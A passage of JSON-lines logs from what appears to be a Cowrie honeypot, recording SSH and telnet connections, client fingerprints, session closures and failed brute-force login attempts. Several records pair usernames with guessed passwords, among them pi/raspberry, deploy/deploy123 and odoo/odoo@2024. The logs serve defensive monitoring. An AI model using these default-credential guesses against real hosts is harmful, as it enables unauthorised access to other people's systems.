{"eventid":"cowrie.session.closed","duration":34.59779691696167,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:59.873140Z","src_ip":"62.210.97.77","session":"301de61ffda9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47952,"dst_ip":"10.17.0.5","dst_port":22,"session":"17a3b38ff73a","protocol":"ssh","message":"New connection: 176.65.132.254:47952 (10.17.0.5:22) [session: 17a3b38ff73a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:59.956331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:59.961171Z","src_ip":"176.65.132.254","session":"17a3b38ff73a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:00.044784Z","src_ip":"176.65.132.254","session":"17a3b38ff73a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24121979","message":"login attempt [user/24121979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:00.270189Z","src_ip":"2.57.121.25","session":"178132e9743f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:00.318590Z","src_ip":"176.65.132.254","session":"17a3b38ff73a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56618,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3552140c69e","protocol":"telnet","message":"New connection: 62.210.97.77:56618 (10.17.0.5:23) [session: e3552140c69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:00.801124Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"24071979","message":"login attempt [user/24071979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:01.387888Z","src_ip":"2.57.121.25","session":"178132e9743f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:01.407073Z","src_ip":"176.65.132.254","session":"17a3b38ff73a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56626,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e1429a45632","protocol":"telnet","message":"New connection: 62.210.97.77:56626 (10.17.0.5:23) [session: 0e1429a45632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:01.434865Z"}
{"eventid":"cowrie.session.closed","duration":46.689452171325684,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:01.822915Z","src_ip":"65.60.27.33","session":"e7de7542e2b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":41474,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6978efb08d5","protocol":"ssh","message":"New connection: 103.189.235.176:41474 (159.203.135.109:22) [session: d6978efb08d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:02.147964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:02.153733Z","src_ip":"103.189.235.176","session":"d6978efb08d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:02.385030Z","src_ip":"103.189.235.176","session":"d6978efb08d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:02.507968Z","src_ip":"2.57.121.25","session":"178132e9743f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.65294075012207,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:03.042680Z","src_ip":"62.210.97.77","session":"a6feb08de570","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56632,"dst_ip":"10.17.0.5","dst_port":23,"session":"b51e01349f06","protocol":"telnet","message":"New connection: 62.210.97.77:56632 (10.17.0.5:23) [session: b51e01349f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:03.285332Z"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo@2024","message":"login attempt [odoo/odoo@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:03.356555Z","src_ip":"103.189.235.176","session":"d6978efb08d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42902,"dst_ip":"10.17.0.5","dst_port":22,"session":"852db6bf8d01","protocol":"ssh","message":"New connection: 176.65.132.254:42902 (10.17.0.5:22) [session: 852db6bf8d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:03.971718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:03.976322Z","src_ip":"176.65.132.254","session":"852db6bf8d01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:04.058997Z","src_ip":"176.65.132.254","session":"852db6bf8d01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.385318994522095,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:04.082204Z","src_ip":"62.210.97.77","session":"aca314b2ce43","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:04.320585Z","src_ip":"176.65.132.254","session":"852db6bf8d01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56640,"dst_ip":"10.17.0.5","dst_port":23,"session":"f95322b02342","protocol":"telnet","message":"New connection: 62.210.97.77:56640 (10.17.0.5:23) [session: f95322b02342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:04.435725Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:04.591862Z","src_ip":"103.189.235.176","session":"d6978efb08d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56654,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d25f438d4a7","protocol":"telnet","message":"New connection: 62.210.97.77:56654 (10.17.0.5:23) [session: 1d25f438d4a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:04.992292Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:05.407087Z","src_ip":"176.65.132.254","session":"852db6bf8d01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.0133843421936,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:05.628389Z","src_ip":"62.210.97.77","session":"4dec877a5d39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56656,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf702efed3c3","protocol":"telnet","message":"New connection: 62.210.97.77:56656 (10.17.0.5:23) [session: bf702efed3c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:05.972609Z"}
{"eventid":"cowrie.session.closed","duration":35.037073850631714,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:06.232633Z","src_ip":"62.210.97.77","session":"e2d330b1b1a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.993106842041016,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:07.330655Z","src_ip":"62.210.97.77","session":"d1ad87541850","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.277527809143066,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:07.362151Z","src_ip":"65.60.27.33","session":"e2b72198224c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42930,"dst_ip":"10.17.0.5","dst_port":22,"session":"c20d2f03ddd4","protocol":"ssh","message":"New connection: 176.65.132.254:42930 (10.17.0.5:22) [session: c20d2f03ddd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:08.095128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:08.100061Z","src_ip":"176.65.132.254","session":"c20d2f03ddd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:08.182475Z","src_ip":"176.65.132.254","session":"c20d2f03ddd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:08.443555Z","src_ip":"176.65.132.254","session":"c20d2f03ddd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.97589063644409,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:08.675924Z","src_ip":"62.210.97.77","session":"7274b41b13b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:09.542730Z","src_ip":"176.65.132.254","session":"c20d2f03ddd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43810,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a45c0d72c68","protocol":"telnet","message":"New connection: 62.210.97.77:43810 (10.17.0.5:23) [session: 4a45c0d72c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:09.667093Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43816,"dst_ip":"10.17.0.5","dst_port":23,"session":"b52d6c493cdc","protocol":"telnet","message":"New connection: 62.210.97.77:43816 (10.17.0.5:23) [session: b52d6c493cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:12.056021Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43820,"dst_ip":"10.17.0.5","dst_port":23,"session":"036c8a8b1477","protocol":"telnet","message":"New connection: 62.210.97.77:43820 (10.17.0.5:23) [session: 036c8a8b1477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:12.318558Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33220,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5cb3c428590","protocol":"ssh","message":"New connection: 176.65.132.254:33220 (10.17.0.5:22) [session: e5cb3c428590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:12.322996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:12.326818Z","src_ip":"176.65.132.254","session":"e5cb3c428590","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:12.407791Z","src_ip":"176.65.132.254","session":"e5cb3c428590","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:12.660563Z","src_ip":"176.65.132.254","session":"e5cb3c428590","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":49744,"dst_ip":"10.17.0.5","dst_port":22,"session":"f35c3e57d9c0","protocol":"ssh","message":"New connection: 190.129.122.12:49744 (10.17.0.5:22) [session: f35c3e57d9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:13.022184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:13.027473Z","src_ip":"190.129.122.12","session":"f35c3e57d9c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:13.201364Z","src_ip":"190.129.122.12","session":"f35c3e57d9c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":36082,"dst_ip":"10.17.0.5","dst_port":22,"session":"04e61049edbf","protocol":"ssh","message":"New connection: 156.232.13.218:36082 (10.17.0.5:22) [session: 04e61049edbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:13.248457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:13.253313Z","src_ip":"156.232.13.218","session":"04e61049edbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-ni